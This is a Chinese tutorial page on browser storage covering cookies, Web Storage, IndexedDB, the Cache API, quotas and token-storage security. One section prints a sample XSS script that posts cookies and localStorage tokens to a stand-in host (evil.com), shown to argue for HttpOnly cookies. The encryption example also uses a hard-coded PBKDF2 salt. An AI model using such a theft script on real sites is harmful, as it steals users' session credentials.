Skip to content

浏览器存储

存储层次总览

浏览器提供了多种客户端存储方案,各自适用于不同的场景:

┌─────────────────────────────────────────────────────────────────┐
│                        浏览器存储体系                              │
├────────────┬──────────────┬──────────┬───────────┬──────────────┤
│   Cookie   │ Web Storage  │IndexedDB │ Cache API │  其他         │
│            │ ┌──────────┐ │          │           │ (WebSQL 已废) │
│  4KB/条    │ │localStorage│ │ 无上限   │ 无上限    │              │
│  50条/域   │ │ 5~10MB    │ │(受配额)  │(受配额)   │              │
│            │ ├──────────┤ │          │           │              │
│  随请求    │ │sessionStg │ │          │           │              │
│  自动携带  │ │ 5~10MB    │ │          │           │              │
│            │ └──────────┘ │          │           │              │
├────────────┴──────────────┴──────────┴───────────┴──────────────┤
│                     Storage API(配额管理)                       │
│              navigator.storage.estimate() / persist()            │
└─────────────────────────────────────────────────────────────────┘

选型决策树

需要存储数据?

  ├─ 需要随 HTTP 请求自动发送?
  │   └─ 是 → Cookie(认证 Token、会话标识)

  ├─ 数据量 < 5MB 且结构简单(字符串键值对)?
  │   ├─ 需要跨 Tab 共享、持久化? → localStorage
  │   └─ 仅当前会话/当前 Tab? → sessionStorage

  ├─ 数据量大 / 需要索引查询 / 结构化数据?
  │   └─ IndexedDB(离线应用、大文件、复杂查询)

  └─ 缓存 HTTP 响应(离线优先 / PWA)?
      └─ Cache API + Service Worker

Cookie 的属性详解(Domain / Path / Expires / Max-Age / HttpOnly / Secure / SameSite) 已在 http.md - Cookie 章节 中完整讲解,本节聚焦 JavaScript 如何操作 Cookie

document.cookie 是浏览器最早提供的 Cookie 操作接口,但 API 设计非常原始:

js
document.cookie = 'name=hello; max-age=3600; path=/; secure; samesite=lax';

document.cookie = 'theme=dark; max-age=86400; path=/';
document.cookie 的核心问题:

1. 写入不是覆盖,而是追加
   document.cookie = 'a=1'
   document.cookie = 'b=2'
   → document.cookie 的值为 "a=1; b=2"
   → 设置同名 Cookie 才是更新

2. 读取返回所有 Cookie 的扁平字符串
   document.cookie → "a=1; b=2; theme=dark"
   → 无法直接获取某个 Cookie
   → 无法读取 Expires / Path 等属性

3. 删除需要设置过期时间
   document.cookie = 'name=; max-age=0'
   → 没有 delete 方法

4. 无法操作 HttpOnly Cookie
   → 设置了 HttpOnly 的 Cookie 对 JS 完全不可见
   → 这是安全特性,防止 XSS 窃取

5. 同步阻塞操作
   → 读写都在主线程同步执行
js
function getCookie(name) {
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
}

function setCookie(name, value, options = {}) {
  let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;

  if (options.maxAge) cookie += `; max-age=${options.maxAge}`;
  if (options.path) cookie += `; path=${options.path}`;
  if (options.domain) cookie += `; domain=${options.domain}`;
  if (options.secure) cookie += '; secure';
  if (options.sameSite) cookie += `; samesite=${options.sameSite}`;

  document.cookie = cookie;
}

function deleteCookie(name, path = '/') {
  document.cookie = `${encodeURIComponent(name)}=; max-age=0; path=${path}`;
}

CookieStore API(现代方案)

Chrome 87+ 提供了异步、类型安全的 Cookie 操作接口:

js
await cookieStore.set('theme', 'dark');

await cookieStore.set({
  name: 'session',
  value: 'abc123',
  expires: Date.now() + 86400000,
  path: '/',
  sameSite: 'lax',
});

const cookie = await cookieStore.get('theme');
// { name: 'theme', value: 'dark', domain: null, path: '/', ... }

const all = await cookieStore.getAll();
// [{ name: 'theme', ... }, { name: 'session', ... }]

await cookieStore.delete('theme');
CookieStore vs document.cookie:

特性              document.cookie       CookieStore API
──────           ──────────────        ───────────────
同步/异步         同步(阻塞主线程)      异步(Promise)
读取格式          扁平字符串              结构化对象
获取单个 Cookie   需手动解析              .get(name)
监听变化          无                     change 事件
Service Worker   不可用                 可用
浏览器支持        所有浏览器              Chrome 87+、Edge 87+
js
cookieStore.addEventListener('change', (event) => {
  for (const cookie of event.changed) {
    console.log(`${cookie.name} 被设置为 ${cookie.value}`);
  }
  for (const cookie of event.deleted) {
    console.log(`${cookie.name} 被删除`);
  }
});
限制项                    标准 / 实际表现
─────                    ─────────────
单个 Cookie 大小          约 4KB(含 name=value 及属性)
每个域名 Cookie 数量       约 50 个(超出后按 LRU 淘汰旧的)
所有域名 Cookie 总量       浏览器实现不同,通常约 3000 个

注意:Cookie 随每次同源 HTTP 请求发送
→ 20 个 Cookie × 4KB = 80KB 额外请求开销
→ 这就是为什么静态资源要放在无 Cookie 的 CDN 域名下

Web Storage

localStorage vs sessionStorage

                   localStorage              sessionStorage
                   ────────────              ──────────────
生命周期            永久(手动清除才消失)       页面会话期间
                                              (Tab 关闭即清除)

作用域              同源下所有 Tab 共享          仅当前 Tab
                                              (同源不同 Tab 不共享)

容量               5~10MB(不同浏览器不同)     5~10MB

数据格式            仅字符串(需手动序列化)      仅字符串

同步/异步           同步(阻塞主线程)           同步

随请求发送           ❌                         ❌
sessionStorage 的"会话"定义:

1. 用户打开新 Tab 访问同一 URL → 新的 sessionStorage(不共享)
2. 通过 window.open / <a target="_blank"> 打开 → 复制一份当前 Tab 的 sessionStorage
3. 页面刷新 → sessionStorage 保留
4. Tab 关闭 → sessionStorage 清除
5. 浏览器崩溃恢复 Tab → sessionStorage 可能保留(浏览器实现不同)

API

js
localStorage.setItem('user', JSON.stringify({ name: 'Alice', age: 25 }));

const user = JSON.parse(localStorage.getItem('user'));

localStorage.removeItem('user');

localStorage.clear();

console.log(localStorage.length);
console.log(localStorage.key(0));

storage 事件(跨 Tab 通信)

同源的其他 Tab 修改了 localStorage 时,当前 Tab 可以监听到 storage 事件:

js
window.addEventListener('storage', (event) => {
  // event.key       — 被修改的键
  // event.oldValue  — 修改前的值
  // event.newValue  — 修改后的值
  // event.url       — 触发修改的页面 URL
  // event.storageArea — localStorage 或 sessionStorage 对象
});
storage 事件的关键特性:

1. 只在其他同源 Tab 触发,修改数据的当前 Tab 不触发
2. 只有 localStorage 能触发,sessionStorage 不行(因为不共享)
3. 可用于跨 Tab 通信(如登录状态同步、主题切换同步)
js
// Tab A:发送消息
function broadcast(type, data) {
  localStorage.setItem('__bus__', JSON.stringify({ type, data, t: Date.now() }));
}

broadcast('LOGOUT', { reason: 'session_expired' });

// Tab B:接收消息
window.addEventListener('storage', (e) => {
  if (e.key !== '__bus__' || !e.newValue) return;
  const { type, data } = JSON.parse(e.newValue);
  if (type === 'LOGOUT') {
    window.location.href = '/login';
  }
});

封装最佳实践

js
const storage = {
  set(key, value, ttl) {
    const item = {
      value,
      timestamp: Date.now(),
      ttl: ttl || 0,
    };
    try {
      localStorage.setItem(key, JSON.stringify(item));
    } catch (e) {
      if (e.name === 'QuotaExceededError') {
        this.evict();
        localStorage.setItem(key, JSON.stringify(item));
      }
    }
  },

  get(key) {
    try {
      const raw = localStorage.getItem(key);
      if (!raw) return null;

      const item = JSON.parse(raw);
      if (item.ttl && Date.now() - item.timestamp > item.ttl) {
        localStorage.removeItem(key);
        return null;
      }
      return item.value;
    } catch {
      return null;
    }
  },

  remove(key) {
    localStorage.removeItem(key);
  },

  evict() {
    const entries = [];
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      try {
        const item = JSON.parse(localStorage.getItem(key));
        if (item && item.timestamp) {
          entries.push({ key, timestamp: item.timestamp });
        }
      } catch {}
    }
    entries.sort((a, b) => a.timestamp - b.timestamp);
    const removeCount = Math.max(1, Math.floor(entries.length * 0.2));
    for (let i = 0; i < removeCount; i++) {
      localStorage.removeItem(entries[i].key);
    }
  },
};

storage.set('profile', { name: 'Alice' }, 3600000);
storage.get('profile');
封装要点:

1. 序列化:localStorage 只能存字符串,JSON.stringify/parse 包裹
2. 异常处理:
   - JSON.parse 可能失败(数据被外部修改/损坏)
   - 超出配额抛 QuotaExceededError → 做降级策略
3. 过期时间:原生不支持 TTL,需自行封装 timestamp + ttl
4. 淘汰策略:空间不足时按时间戳淘汰最旧的条目
5. 命名空间:多模块共用 localStorage 时加前缀避免冲突

IndexedDB

为什么需要 IndexedDB

localStorage 的不足:
  - 容量限制:5~10MB
  - 仅存字符串:存对象需要序列化/反序列化(性能开销)
  - 无法索引:查找特定数据需要遍历所有 key
  - 同步阻塞:大数据量读写会阻塞主线程
  - 无事务:并发读写可能导致数据不一致

IndexedDB 的优势:
  - 容量大:数百 MB 甚至 GB 级(受存储配额限制)
  - 结构化存储:直接存 JS 对象、文件、Blob
  - 索引查询:在任意字段上建索引,快速检索
  - 异步 API:不阻塞主线程
  - 事务支持:保证数据一致性(原子性操作)
  - 同源策略:数据隔离,安全可靠

核心概念

┌─────────────────────────────────────────────────┐
│  Database(数据库)                                │
│  ├─ ObjectStore(对象仓库 ≈ 表)                   │
│  │    ├─ keyPath / autoIncrement(主键策略)        │
│  │    ├─ Index(索引,加速查询)                     │
│  │    └─ Record(记录 = JS 对象)                   │
│  └─ ObjectStore ...                               │
├─────────────────────────────────────────────────┤
│  Transaction(事务)                               │
│  ├─ readonly   → 只读事务(可并发)                  │
│  ├─ readwrite  → 读写事务(排队执行)                │
│  └─ versionchange → 升级事务(修改结构)             │
├─────────────────────────────────────────────────┤
│  Cursor(游标)                                    │
│  └─ 遍历 ObjectStore / Index 中的记录               │
└─────────────────────────────────────────────────┘

关键:
- 一个源(origin)可以有多个 Database
- 结构变更(创建/删除 ObjectStore、Index)只能在 upgradeneeded 回调中进行
- 所有数据操作都必须在 Transaction 中完成

完整 CRUD 示例

js
function openDB(name, version) {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open(name, version);

    request.onupgradeneeded = (event) => {
      const db = event.target.result;
      if (!db.objectStoreNames.contains('users')) {
        const store = db.createObjectStore('users', { keyPath: 'id', autoIncrement: true });
        store.createIndex('nameIdx', 'name', { unique: false });
        store.createIndex('emailIdx', 'email', { unique: true });
      }
    };

    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

async function addUser(db, user) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readwrite');
    const store = tx.objectStore('users');
    const request = store.add(user);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

async function getUser(db, id) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readonly');
    const store = tx.objectStore('users');
    const request = store.get(id);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

async function getUserByEmail(db, email) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readonly');
    const store = tx.objectStore('users');
    const index = store.index('emailIdx');
    const request = index.get(email);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

async function updateUser(db, user) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readwrite');
    const store = tx.objectStore('users');
    const request = store.put(user);
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}

async function deleteUser(db, id) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readwrite');
    const store = tx.objectStore('users');
    const request = store.delete(id);
    request.onsuccess = () => resolve();
    request.onerror = () => reject(request.error);
  });
}

async function getAllUsers(db) {
  return new Promise((resolve, reject) => {
    const tx = db.transaction('users', 'readonly');
    const store = tx.objectStore('users');
    const request = store.getAll();
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
  });
}
js
const db = await openDB('myApp', 1);

const id = await addUser(db, { name: 'Alice', email: 'alice@example.com', age: 25 });

const user = await getUser(db, id);

await updateUser(db, { id, name: 'Alice', email: 'alice@example.com', age: 26 });

await deleteUser(db, id);

const all = await getAllUsers(db);

使用 idb 库简化

原生 IndexedDB API 基于事件回调,代码冗长。idb 是一个轻量封装库(~1KB),将回调转为 Promise:

js
import { openDB } from 'idb';

const db = await openDB('myApp', 1, {
  upgrade(db) {
    const store = db.createObjectStore('users', { keyPath: 'id', autoIncrement: true });
    store.createIndex('email', 'email', { unique: true });
  },
});

const id = await db.add('users', { name: 'Alice', email: 'alice@example.com' });

const user = await db.get('users', id);

const userByEmail = await db.getByIndex('users', 'email', 'alice@example.com');

await db.put('users', { id, name: 'Alice', email: 'alice@new.com' });

await db.delete('users', id);

const all = await db.getAll('users');

IndexedDB vs localStorage

特性              IndexedDB                    localStorage
──────           ──────────                   ────────────
容量             数百 MB ~ GB                  5~10MB
数据类型          JS 对象、Blob、File、数组      仅字符串
查询能力          索引 + 游标 + 范围查询         仅 key 精确查询
同步/异步         异步(不阻塞主线程)            同步(阻塞)
事务             支持(原子性操作)               不支持
适用场景          离线数据、大文件、复杂查询       简单配置、小数据
API 复杂度        较高(原生)/ 低(idb 库)     极低

Cache API

核心概念

Cache API 提供了对 HTTP 请求/响应对的缓存控制,是 PWA 离线体验的基础:

┌──────────────────────────────────────────────┐
│  CacheStorage(全局入口:caches)               │
│  ├─ Cache 'v1-static'                        │
│  │    ├─ Request('/app.js')  → Response       │
│  │    ├─ Request('/style.css') → Response     │
│  │    └─ Request('/logo.svg') → Response      │
│  ├─ Cache 'v1-api'                           │
│  │    ├─ Request('/api/users') → Response     │
│  │    └─ Request('/api/posts') → Response     │
│  └─ ...                                      │
└──────────────────────────────────────────────┘

关键特性:
- 存储的是 Request → Response 的映射
- 与 Service Worker 配合实现离线优先
- 缓存不会自动过期,需要手动管理
- 遵循同源策略,但可缓存跨域响应(opaque response)

API 操作

js
const cache = await caches.open('v1-static');

await cache.add('/style.css');

await cache.addAll(['/app.js', '/style.css', '/logo.svg']);

await cache.put('/api/data', new Response(JSON.stringify({ ok: true }), {
  headers: { 'Content-Type': 'application/json' },
}));

const response = await cache.match('/style.css');
if (response) {
  const text = await response.text();
}

const allResponses = await cache.matchAll('/api/', { ignoreSearch: true });

await cache.delete('/style.css');

await caches.delete('v1-static');

const keys = await caches.keys();

与 Service Worker 配合

js
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('v1-static').then((cache) =>
      cache.addAll([
        '/',
        '/index.html',
        '/app.js',
        '/style.css',
      ])
    )
  );
});

self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then((keys) =>
      Promise.all(
        keys
          .filter((key) => key !== 'v1-static' && key !== 'v1-api')
          .map((key) => caches.delete(key))
      )
    )
  );
});

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((cached) => cached || fetch(event.request))
  );
});

缓存策略

策略 1:Cache First(缓存优先)

请求 ──→ 缓存中有? ──是──→ 返回缓存



         网络请求 ──→ 写入缓存 ──→ 返回响应

适用:不常变化的静态资源(JS/CSS/图片/字体)
js
async function cacheFirst(request) {
  const cached = await caches.match(request);
  if (cached) return cached;

  const response = await fetch(request);
  const cache = await caches.open('v1-static');
  cache.put(request, response.clone());
  return response;
}
策略 2:Network First(网络优先)

请求 ──→ 网络请求 ──成功──→ 写入缓存 ──→ 返回响应

            失败/超时

         返回缓存(兜底)

适用:实时性要求高的内容(API 数据、新闻页面)
js
async function networkFirst(request) {
  try {
    const response = await fetch(request);
    const cache = await caches.open('v1-api');
    cache.put(request, response.clone());
    return response;
  } catch {
    return caches.match(request);
  }
}
策略 3:Stale While Revalidate(先用缓存,后台更新)

请求 ──→ 缓存中有? ──是──→ 立即返回缓存
              │                   │
              │              同时发网络请求
              │                   ↓
              │              更新缓存(下次请求用新版本)


         网络请求 ──→ 写入缓存 ──→ 返回响应

适用:更新频率中等的内容(用户头像、配置、博客文章)
js
async function staleWhileRevalidate(request) {
  const cache = await caches.open('v1-dynamic');
  const cached = await cache.match(request);

  const fetchPromise = fetch(request).then((response) => {
    cache.put(request, response.clone());
    return response;
  });

  return cached || fetchPromise;
}

存储方案横向对比

特性CookielocalStoragesessionStorageIndexedDBCache API
容量~4KB/条,~50条/域5~10MB5~10MB数百MB~GB数百MB~GB
生命周期Expires/Max-Age 控制永久当前 Tab 会话永久永久(手动管理)
数据格式字符串字符串字符串结构化对象/BlobRequest→Response
同步/异步同步同步同步异步异步
随请求发送✅ 自动携带
索引/查询❌ 仅 key❌ 仅 key✅ 索引+游标✅ URL 匹配
Web Worker 可用
事务支持
适用场景认证Token、会话ID、用户偏好简单配置、主题、表单草稿临时状态、一次性表单离线数据、大文件、结构化查询HTTP响应缓存、PWA离线

存储安全

XSS 下的存储风险

XSS(跨站脚本攻击)成功后,攻击者可以通过注入的 JS 代码访问:

能偷到的:
  ✅ document.cookie(未设 HttpOnly 的 Cookie)
  ✅ localStorage 全部数据
  ✅ sessionStorage 全部数据
  ✅ IndexedDB 全部数据

偷不到的:
  ❌ HttpOnly Cookie(JS 完全不可见)
  ❌ 其他源的存储数据(同源策略保护)

攻击示例:
  // XSS 注入的恶意脚本
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      token: localStorage.getItem('access_token'),
      user: localStorage.getItem('user_profile'),
    }),
  });

Token 存储方案对比

方案 1:HttpOnly Cookie 存 Token(推荐)
──────────────────────────────────────
Set-Cookie: access_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/

  优点:
    ✅ XSS 无法窃取(JS 不可见)
    ✅ 自动随请求携带(无需手动处理)
    ✅ SameSite 防 CSRF
  缺点:
    ⚠️ 需要服务端配合设置 Cookie
    ⚠️ 跨域场景需要配置 CORS + SameSite=None
    ⚠️ 移动端 WebView 可能有兼容问题


方案 2:localStorage 存 Token(使用广泛但有风险)
────────────────────────────────────────────────
localStorage.setItem('access_token', token)
fetch('/api', { headers: { Authorization: 'Bearer ' + token } })

  优点:
    ✅ 实现简单,前端完全控制
    ✅ 跨域请求灵活(手动设置 Header)
    ✅ 与 SPA / CSR 架构天然契合
  缺点:
    ❌ XSS 可直接窃取 Token
    ❌ 需要手动在每个请求中携带


方案 3:内存变量 + HttpOnly Refresh Token(最佳安全实践)
──────────────────────────────────────────────────────
Access Token 仅存在 JS 变量中(刷新页面丢失)
Refresh Token 存在 HttpOnly Cookie 中

  流程:
  1. 登录 → 服务端返回 HttpOnly Cookie(Refresh Token)+ Response Body(Access Token)
  2. 前端将 Access Token 存在内存变量中
  3. API 请求用 Authorization Header 携带 Access Token
  4. Access Token 过期 → 用 Refresh Token Cookie 自动刷新
  5. 页面刷新 → Access Token 丢失 → 静默刷新获取新 Token

  优点:
    ✅ XSS 无法窃取 Refresh Token(HttpOnly)
    ✅ Access Token 在内存中,窗口关闭即消失
    ✅ 攻击窗口极小(Access Token 短过期时间)

存储加密

js
async function deriveKey(password) {
  const encoder = new TextEncoder();
  const keyMaterial = await crypto.subtle.importKey(
    'raw',
    encoder.encode(password),
    'PBKDF2',
    false,
    ['deriveKey']
  );
  return crypto.subtle.deriveKey(
    { name: 'PBKDF2', salt: encoder.encode('fixed-salt'), iterations: 100000, hash: 'SHA-256' },
    keyMaterial,
    { name: 'AES-GCM', length: 256 },
    false,
    ['encrypt', 'decrypt']
  );
}

async function encryptData(data, password) {
  const key = await deriveKey(password);
  const encoder = new TextEncoder();
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encrypted = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    key,
    encoder.encode(JSON.stringify(data))
  );
  return {
    iv: Array.from(iv),
    data: Array.from(new Uint8Array(encrypted)),
  };
}

async function decryptData(encrypted, password) {
  const key = await deriveKey(password);
  const decrypted = await crypto.subtle.decrypt(
    { name: 'AES-GCM', iv: new Uint8Array(encrypted.iv) },
    key,
    new Uint8Array(encrypted.data)
  );
  return JSON.parse(new TextDecoder().decode(decrypted));
}
存储加密注意事项:

1. 加密后的数据存到 localStorage / IndexedDB 中
2. 密钥不能存在客户端(否则等于没加密)
   → 用用户密码派生密钥
   → 或用服务端下发的临时密钥
3. Web Crypto API 是浏览器原生加密 API(比 CryptoJS 更安全、更快)
4. 加密不能替代 HttpOnly —— XSS 可以调用你的解密函数
5. 加密适用于:防止浏览器本地数据被物理访问时泄露

存储配额

Storage API

js
const estimate = await navigator.storage.estimate();
console.log(`已用: ${(estimate.usage / 1024 / 1024).toFixed(2)} MB`);
console.log(`配额: ${(estimate.quota / 1024 / 1024).toFixed(2)} MB`);
console.log(`使用率: ${((estimate.usage / estimate.quota) * 100).toFixed(1)}%`);
浏览器存储配额规则:

Chrome / Edge:
  - 总配额:磁盘可用空间的 60%(上限不超过磁盘总量的一半)
  - 每个源的配额:总配额的 75%(即磁盘可用空间的 ~45%)
  
Firefox:
  - 每个源最多 2GB(可能更大,取决于磁盘)
  - 全局上限:磁盘可用空间的 50%

Safari:
  - 每个源约 1GB
  - 超过时提示用户授权

配额包含:IndexedDB + Cache API + Service Worker + OPFS
不包含:Cookie、localStorage、sessionStorage(有独立限制)

驱逐策略

当存储空间不足时,浏览器会自动驱逐(清除)数据:

驱逐规则(LRU — Least Recently Used):
  1. 优先驱逐最久未使用的源的数据
  2. 整个源的数据一起被清除(IndexedDB + Cache + SW 全删)
  3. 不会只删一个源的部分数据

驱逐优先级:
  ┌───────────────────────────────────────┐
  │  Best Effort(默认)                    │
  │  → 存储空间不足时可能被浏览器驱逐         │
  │  → 不会提前通知                         │
  └───────────────────────────────────────┘

  ┌───────────────────────────────────────┐
  │  Persistent(持久化)                   │
  │  → 用户明确授权后,数据不会被自动驱逐     │
  │  → 只有用户主动清除或代码主动删除         │
  └───────────────────────────────────────┘

持久化存储

js
if (navigator.storage && navigator.storage.persist) {
  const persistent = await navigator.storage.persist();
  if (persistent) {
    console.log('存储已持久化,不会被自动驱逐');
  } else {
    console.log('持久化请求被拒绝');
  }
}

const isPersisted = await navigator.storage.persisted();
浏览器是否自动授予持久化权限:

Chrome 的启发式规则(不弹窗,自动判断):
  - 用户将网站添加到书签 → ✅
  - 网站有高互动度(频繁访问) → ✅
  - 用户安装了 PWA → ✅
  - 用户授予了通知权限 → ✅

Firefox:弹出权限请求对话框

Safari:不支持 persist(),有独立的 7 天策略
  → 用户 7 天内未访问,数据可能被清除(ITP)

面试高频题

1. Cookie、localStorage、sessionStorage 三者的区别?

Cookie 容量约 4KB/条,会随每次同源 HTTP 请求自动携带(这是最本质的区别),生命周期由 Expires/Max-Age 控制,可设置 HttpOnly 禁止 JS 访问,适合存认证 Token 和会话标识。localStorage 容量 5~10MB,永久存储直到手动清除,同源下所有 Tab 共享,仅支持字符串键值对,适合存用户偏好设置。sessionStorage 容量与 localStorage 相同,但生命周期仅限当前 Tab 会话(Tab 关闭即清除),且同源的不同 Tab 之间互不共享,适合存临时状态。三者都是同步 API,都受同源策略限制。核心选择逻辑:需要自动随请求发送 → Cookie;需要持久化的简单数据 → localStorage;需要仅当前会话有效的临时数据 → sessionStorage。

2. 如何用 localStorage 实现跨 Tab 通信?有什么限制?

利用 storage 事件:当一个 Tab 修改了 localStorage,同源的其他 Tab 会触发 window.addEventListener('storage', callback)。回调参数包含 keyoldValuenewValueurl 等信息。典型实现是约定一个消息总线 key(如 __bus__),写入方将消息 JSON 序列化后写入,监听方解析后处理。限制:①只在其他 Tab 触发,修改数据的当前 Tab 不会触发;②只有 localStorage 有效,sessionStorage 因为不跨 Tab 共享所以无法触发;③写入相同值不会触发事件;④如果需要双向通信,更推荐使用 BroadcastChannel API。

3. IndexedDB 相比 localStorage 的优势在哪?什么场景下该用 IndexedDB?

IndexedDB 是浏览器内置的结构化数据库,主要优势有五个:①容量大——数百 MB 到 GB 级别,远超 localStorage 的 5~10MB;②直接存储 JS 对象——不需要 JSON 序列化,还支持存 Blob 和 File;③支持索引——可以在任意字段建索引实现快速查询,而 localStorage 只能按 key 精确查找;④异步 API——不阻塞主线程,大数据操作也不影响页面交互;⑤事务支持——保证批量操作的原子性。适用场景:离线优先应用(如离线文档编辑器)、大量结构化数据(如邮件客户端缓存数千封邮件)、文件缓存(如图片编辑器缓存用户素材)。简单场景(用户偏好、主题配置等)用 localStorage 就够了。

4. Service Worker 的 Cache API 有哪些常见缓存策略?

三种主要策略:①Cache First(缓存优先)——先查缓存,命中则直接返回,未命中再发网络请求并写入缓存,适合不常变化的静态资源(JS/CSS/图片/字体);②Network First(网络优先)——先发网络请求,成功则更新缓存并返回,失败或超时时返回缓存兜底,适合实时性要求高的内容(API 数据、新闻页面);③Stale While Revalidate(先用缓存,后台更新)——有缓存就立即返回旧版本给用户,同时后台发网络请求更新缓存,下次请求用新数据,适合更新频率中等的内容(用户头像、博客文章)。选择逻辑取决于对"实时性"和"加载速度"的权衡。

从安全角度看,推荐用 HttpOnly Cookie 存储 Token。原因:HttpOnly Cookie 对 JavaScript 完全不可见,即使网站存在 XSS 漏洞,攻击者注入的脚本也无法通过 document.cookie 读取 Token;而 localStorage 中的 Token 在 XSS 下可被直接读取(localStorage.getItem('token'))。Cookie 还可配合 SameSite=Strict/Lax 防止 CSRF。更高安全要求的方案是"Access Token 存内存变量 + Refresh Token 存 HttpOnly Cookie"——Access Token 短过期、Refresh Token 不可被 JS 访问,即使 XSS 攻击窗口也极小。localStorage 存 Token 的优点是实现简单、跨域灵活,但必须做好严格的 XSS 防护(CSP、输入过滤、输出编码)。


追问思考

  1. navigator.storage.estimate() 返回的 quota 在不同浏览器下差异很大,Safari 的 ITP(Intelligent Tracking Prevention)对存储有什么特殊限制?7 天清除策略具体是怎么触发的?
  2. IndexedDB 的事务有 readonlyreadwrite 两种模式,为什么 readonly 事务可以并发而 readwrite 必须排队?如果一个 readwrite 事务长时间不提交会怎样?
  3. Cache API 存储的是 Response 对象的完整克隆,如果缓存了一个 opaque response(跨域不带 CORS 的响应),它的 status 是 0 且 body 不可读——那这种缓存在 Service Worker 中有什么实际用途?
  4. localStorage 的 storage 事件只在其他 Tab 触发,BroadcastChannel 和 SharedWorker 分别是如何解决跨 Tab 通信的?三者在浏览器兼容性和 API 复杂度上有什么差异?
  5. 在 SSR(服务端渲染)应用中,localStorageIndexedDB 在服务端不可用——实际项目中如何优雅地处理"客户端存储在服务端不存在"的问题?常见的兼容方案有哪些?

用心学习,用代码说话 💻